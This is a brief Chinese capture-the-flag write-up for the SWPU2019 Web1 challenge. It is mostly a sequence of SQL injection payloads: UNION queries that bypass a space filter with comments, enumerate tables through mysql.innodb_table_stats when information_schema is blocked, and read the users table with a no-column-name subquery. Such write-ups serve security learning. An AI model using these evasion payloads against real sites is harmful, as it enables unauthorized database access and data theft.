SWPU2019 Web1

打开是个登录界面,先注册登录进去

发现可以申请广告位,在广告位

1
2
输入
'

得到回显,证明有SQL注入

试一下

1
1'union select 1,2,3

发现空格被过滤了 用/**/代替一下

1
1'union/**/select/**/1,2,3

最后用二分法试出有22个字段

1
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这里information_schema被过滤了 所以考虑使用

1
2
mysql.innodb_table_stats用于报表名
select group_concat(table_name) from mysql.innodb_table_stats

payload:

1
1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到表名

这里还需要用到无列名注入,之前出现过不再多介绍

1
1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到flag